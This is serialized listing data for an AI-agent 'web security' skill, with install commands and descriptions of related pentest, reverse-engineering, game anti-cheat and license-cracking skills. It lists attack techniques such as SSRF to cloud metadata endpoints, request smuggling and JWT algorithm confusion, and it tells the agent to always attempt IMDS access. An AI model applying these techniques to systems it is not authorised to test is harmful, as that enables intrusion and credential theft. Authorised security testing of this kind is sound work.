|\n| Generate CSOC alerts for findings | → Skill 11 (CSOC Automation) |\n\n---\n\n## References\n\n- [OWASP Top 10 2021](https:\u002F\u002Fowasp.org\u002Fwww-project-top-ten\u002F)\n- [OWASP Testing Guide v4.2](https:\u002F\u002Fowasp.org\u002Fwww-project-web-security-testing-guide\u002F)\n- [OWASP API Security Top 10](https:\u002F\u002Fowasp.org\u002Fwww-project-api-security\u002F)\n- [PortSwigger Web Security Academy](https:\u002F\u002Fportswigger.net\u002Fweb-security)\n- [PayloadsAllTheThings](https:\u002F\u002Fgithub.com\u002Fswisskyrepo\u002FPayloadsAllTheThings)\n- [HackTricks Web Pentesting](https:\u002F\u002Fbook.hacktricks.xyz\u002Fpentesting-web)\n\n\n---\n\n## v3.0 Enhancements (2026 Update)\n\n**Current web & API attack surface:**\n\n- **OWASP API Security Top 10 (2023)** — test BOLA\u002FIDOR (API1), broken authentication (API2), broken object property level authorization \u002F mass assignment (API3), unrestricted resource consumption (API4), and SSRF (API7) as first-class items alongside the web Top 10.\n- **SSRF → cloud metadata** — always attempt cloud IMDS reach (`169.254.169.254`, GCP `metadata.google.internal`, Azure IMDS) and require IMDSv2\u002Fhop-limit defenses (→ Skill 10).\n- **HTTP request smuggling** — CL.TE\u002FTE.CL\u002FCL.CL desync and HTTP\u002F2 downgrade smuggling against front-end\u002Fback-end pairs.\n- **JWT & OAuth\u002FOIDC** — `alg=none`, algorithm confusion (RS256→HS256), `kid` injection, weak secrets; OAuth flows: redirect_uri abuse, PKCE downgrade, consent phishing, device-code phishing.\n- **Client-side & template** — prototype pollution, DOM clobbering, SSTI per engine, and modern XSS via mutation\u002Fsanitizer bypass.\n- **GraphQL** — introspection abuse, batching\u002FDoS, nested-query depth, and field-level authorization gaps.\n\n**Precision rule:** each finding ships a reproducible request\u002Fresponse, the affected parameter, and a parameterized\u002Fencoded fix at the correct sink.\n",{},"main","19a54ac988e9929160334271f5c1924ddd9b227e","_modules\u002F09-web-security",19,"https:\u002F\u002Fgithub.com\u002Falicewe1\u002Falice_skill","https:\u002F\u002Fgithub.com\u002Falicewe1","写一些自己用得上的工具，能自动化就绝不手动 · 自动化 \u002F 工程效率 \u002F Agent 技能生态 · 保持好奇，持续构建","2026-09-30 00:41:20",{"source":7,"skillName":5,"commands":32,"prompt":42,"zipAvailable":43},[33,36,39],{"tool":34,"command":35},"npx","npx skills add alicewe1\u002Falice_skill --skill 09-web-security",{"tool":37,"command":38},"bunx","bunx skills add alicewe1\u002Falice_skill --skill 09-web-security",{"tool":40,"command":41},"pnpm","pnpm dlx skills add alicewe1\u002Falice_skill --skill 09-web-security","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Falicewe1\u002Falice_skill\u002Fblob\u002Fmain\u002F_modules\u002F09-web-security\u002FSKILL.md",true,[45,51,57],{"path":46,"resourceType":47,"resourceTypeDesc":48,"sizeBytes":49,"sourceHtmlUrl":50},"examples\u002Fexample_usage.md","REFERENCE","参考文档",220,"https:\u002F\u002Fgithub.com\u002Falicewe1\u002Falice_skill\u002Fblob\u002Fmain\u002F_modules\u002F09-web-security\u002Fexamples\u002Fexample_usage.md",{"path":52,"resourceType":53,"resourceTypeDesc":54,"sizeBytes":55,"sourceHtmlUrl":56},"scripts\u002Fapi_security_tester.py","SCRIPT","脚本",15998,"https:\u002F\u002Fgithub.com\u002Falicewe1\u002Falice_skill\u002Fblob\u002Fmain\u002F_modules\u002F09-web-security\u002Fscripts\u002Fapi_security_tester.py",{"path":58,"resourceType":53,"resourceTypeDesc":54,"sizeBytes":59,"sourceHtmlUrl":60},"scripts\u002Fowasp_scanner.py",7319,"https:\u002F\u002Fgithub.com\u002Falicewe1\u002Falice_skill\u002Fblob\u002Fmain\u002F_modules\u002F09-web-security\u002Fscripts\u002Fowasp_scanner.py",[62,69,76,83,90,97],{"skillNo":63,"name":64,"nameZh":6,"description":65,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":66,"categories":67,"keywords":68,"publishedAt":18},"01M7DBMD9P6R27SWQCW5HYVWG0","alice","Alice 六类技能总路由。用户输入 Alice 或要求查看 Alice 技能菜单时，严格输出固定菜单；输入攻\u002F防模式、六类入口或直接描述任务时，按类别→领域→模块渐进路由。","https:\u002F\u002Fgithub.com\u002Falicewe1\u002Falice_skill\u002Fblob\u002Fmain\u002Faliceskill\u002FSKILL.md",[],[],{"skillNo":70,"name":71,"nameZh":6,"description":72,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":73,"categories":74,"keywords":75,"publishedAt":18},"01M7DBM8X5M7YXPYBVFMWF8HRC","alice-reverse","逆向分析渐进路由（二进制 \u002F 移动端 \u002F 协议 \u002F 取证 \u002F 保护机制 \u002F 运行时观测）。触发词：二进制\u002F移动端\u002F反编译\u002FFrida\u002FIDA\u002FGhidra\u002FPE\u002FELF\u002FAPK\u002F协议\u002F取证；先选领域索引，再按任务匹配度与评分选模块，禁止一次读取全部领域。","https:\u002F\u002Fgithub.com\u002Falicewe1\u002Falice_skill\u002Fblob\u002Fmain\u002Falice-reverse\u002FSKILL.md",[],[],{"skillNo":77,"name":78,"nameZh":6,"description":79,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":80,"categories":81,"keywords":82,"publishedAt":18},"01M7DBM630E2YKQP29194TT7HC","alice-pentest","web安全渐进路由（Web \u002F API \u002F 资产发现 \u002F 漏洞验证 \u002F 云与网络安全）。触发词：Web\u002FAPI\u002F资产发现\u002F端口\u002F漏洞验证\u002F云与网络安全；先选领域索引，再按任务匹配度与评分选模块，禁止一次读取全部领域。","https:\u002F\u002Fgithub.com\u002Falicewe1\u002Falice_skill\u002Fblob\u002Fmain\u002Falice-pentest\u002FSKILL.md",[],[],{"skillNo":84,"name":85,"nameZh":6,"description":86,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":87,"categories":88,"keywords":89,"publishedAt":18},"01M7DBM20M2VDYV5D3MYDGBTQX","alice-game","游戏攻防渐进路由（游戏客户端 \u002F 内存 \u002F 图形 \u002F 反作弊 \u002F 安全研究）。触发词：游戏客户端\u002F内存\u002F图形\u002F偏移\u002F反作弊\u002F模拟器\u002F覆盖层；先选领域索引，再按任务匹配度与评分选模块，禁止一次读取全部领域。","https:\u002F\u002Fgithub.com\u002Falicewe1\u002Falice_skill\u002Fblob\u002Fmain\u002Falice-game\u002FSKILL.md",[],[],{"skillNo":91,"name":92,"nameZh":6,"description":93,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":94,"categories":95,"keywords":96,"publishedAt":18},"01M7DBKXVEKB8931MZG23VACFN","alice-crack","卡密授权渐进路由（卡密 \u002F 激活 \u002F 授权验证 \u002F 许可证管理 \u002F 本地授权分析）。触发词：卡密\u002F激活\u002F授权验证\u002Flicense\u002F机器码\u002F试用状态；先选领域索引，再按任务匹配度与评分选模块，禁止一次读取全部领域。","https:\u002F\u002Fgithub.com\u002Falicewe1\u002Falice_skill\u002Fblob\u002Fmain\u002Falice-crack\u002FSKILL.md",[],[],{"skillNo":98,"name":99,"nameZh":6,"description":100,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":101,"categories":102,"keywords":103,"publishedAt":18},"01M7DBKTMT90MGV2WP8K73TMQD","alice-assist","技能指令渐进路由（技能路由 \u002F 评分 \u002F 吸收 \u002F 迁移 \u002F 自动化 \u002F 文档与平台集成）。触发词：技能创建\u002F吸收\u002F评分\u002F迁移\u002F自动化\u002F文档\u002F平台指令；先选领域索引，再按任务匹配度与评分选模块，禁止一次读取全部领域。","https:\u002F\u002Fgithub.com\u002Falicewe1\u002Falice_skill\u002Fblob\u002Fmain\u002Falice-assist\u002FSKILL.md",[],[]]